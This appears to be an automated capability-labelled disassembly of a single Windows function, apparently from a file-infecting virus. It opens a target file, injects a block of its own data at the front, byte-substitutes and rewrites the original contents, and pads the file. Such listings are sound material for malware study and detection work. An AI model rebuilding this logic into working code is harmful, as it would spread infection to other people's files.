Function at 0x468ad4
Capabilities:
Get file attributes
Get file size
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x468add
mov eax, dword [ebp - 4]
add esp, 0xfffffe00
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x101ec], edx
mov dword [ebp - 0x101f4], edx
mov dword [ebp - 0x101f8], edx
mov dword [ebp - 0x101fc], edx
mov dword [ebp - 0x10200], edx
mov dword [ebp - 0x10204], edx
mov dword [ebp - 0x101f0], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x469062
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x47d41c]
cmp byte [eax], 0
jne 0x46903c
call fcn.00402f34
xor eax, eax
push ebp
push 0x468b8a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 4]
push eax
push 0
call sub.shell32.dll_ExtractIconA
push eax
mov eax, dword [0x47d1dc]
mov eax, dword [eax]
mov eax, dword [eax + 0x300]
mov eax, dword [eax + 0x168]
call fcn.00420c88
pop edx
call fcn.00424800
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x468b94
mov eax, dword [0x47d1dc]
mov eax, dword [eax]
mov eax, dword [eax + 0x300]
mov eax, dword [eax + 0x168]
call fcn.00420c88
call fcn.0042456c
test eax, eax
setne bl
call fcn.004685c4
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov dword [ebp - 0x2c], eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
xor edx, edx
push ebp
push 0x469018
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 8], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GetFileTime
push 0
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GetFileSize
mov esi, eax
cmp esi, dword [ebp - 0x38]
jne 0x468c48
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 0x2c]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x46903c
mov eax, dword [0x469070]
mov dword [ebp - 0x13e], eax
mov ax, word [0x469074]
mov word [ebp - 0x13a], ax
push esi
mov esi, 0x167ef1c
lea edi, [ebp - 0x138]
mov ecx, 0x40
rep movsd dword es:[edi], dword [esi]
pop esi
mov dword [ebp - 0x34], esi
mov eax, dword [0x47eeee]
mov dword [ebp - 0x38], eax
mov eax, 0xff00
call fcn.004031e4
add eax, 0xff
mov dword [ebp - 0x30], eax
cmp esi, 0xffffff
ja 0x468ca1
cmp dword [ebp - 8], 0xffffffff
jne 0x468cae
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x46903c
mov eax, dword [ebp - 0x38]
cmp esi, eax
jae 0x468ccc
push 0
lea eax, [ebp - 0xc]
push eax
push esi
push 0x157ef1c
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_ReadFile
jmp 0x468ce1
push 0
lea edx, [ebp - 0xc]
push edx
push eax
push 0x157ef1c
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_ReadFile
push 0
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x38]
push eax
push 0x47eefc
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_WriteFile
test bl, bl
je 0x468ec3
mov eax, dword [0x47d1dc]
mov eax, dword [eax]
call fcn.0044c374
lea edx, [ebp - 0x101f0]
mov eax, 0x469080
call fcn.00469e58
mov eax, dword [ebp - 0x101f0]
lea edx, [ebp - 0x101ec]
call fcn.0040e014
push dword [ebp - 0x101ec]
push 0x46908c
mov eax, 0x1a
call fcn.004031e4
mov edx, eax
add edx, 0x41
lea eax, [ebp - 0x101f4]
call fcn.004047c0
push dword [ebp - 0x101f4]
mov eax, 0x1a
call fcn.004031e4
mov edx, eax
add edx, 0x41
lea eax, [ebp - 0x101f8]
call fcn.004047c0
push dword [ebp - 0x101f8]
mov eax, 0x1a
call fcn.004031e4
mov edx, eax
add edx, 0x41
lea eax, [ebp - 0x101fc]
call fcn.004047c0
push dword [ebp - 0x101fc]
mov eax, 0x1a
call fcn.004031e4
mov edx, eax
add edx, 0x41
lea eax, [ebp - 0x10200]
call fcn.004047c0
push dword [ebp - 0x10200]
mov eax, 0x1a
call fcn.004031e4
mov edx, eax
add edx, 0x41
lea eax, [ebp - 0x10204]
call fcn.004047c0
push dword [ebp - 0x10204]
lea eax, [ebp - 0x10]
mov edx, 7
call fcn.00404958
mov eax, dword [0x47d1dc]
mov eax, dword [eax]
mov eax, dword [eax + 0x300]
mov eax, dword [eax + 0x168]
call fcn.00420c88
mov edx, dword [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx + 0x50]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404a98
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
push 2
push 0
push 0xffffffffffffff80
push ebx
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
push 0x80
lea eax, [ebp - 0x101e6]
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
call fcn.004689e4
mov eax, dword [0x47d1dc]
mov eax, dword [eax]
call fcn.0044c36c
push 0
push 0
mov eax, dword [ebp - 0x38]
sub eax, 0x10f8
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
push 0xc00
push 0x167f11c
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [ebp - 0xc]
push eax
push 0x80
lea eax, [ebp - 0x101e6]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_WriteFile
mov eax, dword [ebp - 0x10]
call fcn.00409180
jmp 0x468f0b
mov dword [ebp - 0xc], 1
lea eax, [ebp - 0x10166]
mov byte [eax], 0
inc dword [ebp - 0xc]
inc eax
cmp dword [ebp - 0xc], 0x29
jne 0x468ed0
push 0
push 0
mov eax, dword [ebp - 0x38]
sub eax, 0x1120
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
push 0x28
lea eax, [ebp - 0x10166]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_WriteFile
mov eax, dword [ebp - 0x38]
cmp esi, eax
jae 0x468f55
push 0
push 0
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_SetFilePointer
mov ebx, dword [ebp - 0x34]
dec ebx
test ebx, ebx
jl 0x468f3e
inc ebx
mov eax, 0x157ef1c
xor edx, edx
mov dl, byte [eax]
mov dl, byte [edx + 0x167f01c]
mov byte [eax], dl
inc eax
dec ebx
jne 0x468f2e
push 0
lea eax, [ebp - 0xc]
push eax
push esi
push 0x157ef1c
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_WriteFile
jmp 0x468f9c
push 0
push 0
mov eax, dword [ebp - 0x34]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_SetFilePointer
mov ebx, dword [ebp - 0x38]
dec ebx
test ebx, ebx
jl 0x468f84
inc ebx
mov eax, 0x157ef1c
xor edx, edx
mov dl, byte [eax]
mov dl, byte [edx + 0x167f01c]
mov byte [eax], dl
inc eax
dec ebx
jne 0x468f74
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x38]
push eax
push 0x157ef1c
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_WriteFile
mov ebx, dword [ebp - 0x30]
dec ebx
test ebx, ebx
jl 0x468fbb
inc ebx
lea esi, [ebp - 0x1013e]
mov eax, pe_nt_image_headers32
call fcn.004031e4
mov byte [esi], al
inc esi
dec ebx
jne 0x468fab
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x30]
push eax
lea eax, [ebp - 0x1013e]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [ebp - 0xc]
push eax
push 0x112
lea eax, [ebp - 0x13e]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_WriteFile
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GetFileTime
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x469022
mov eax, dword [ebp - 0x2c]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
inc dword [0x46ee24]
mov byte [0x46ee20], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x469069
lea eax, [ebp - 0x10204]
mov edx, 7
call fcn.004045fc
lea eax, [ebp - 0x10]
call fcn.004045d8
ret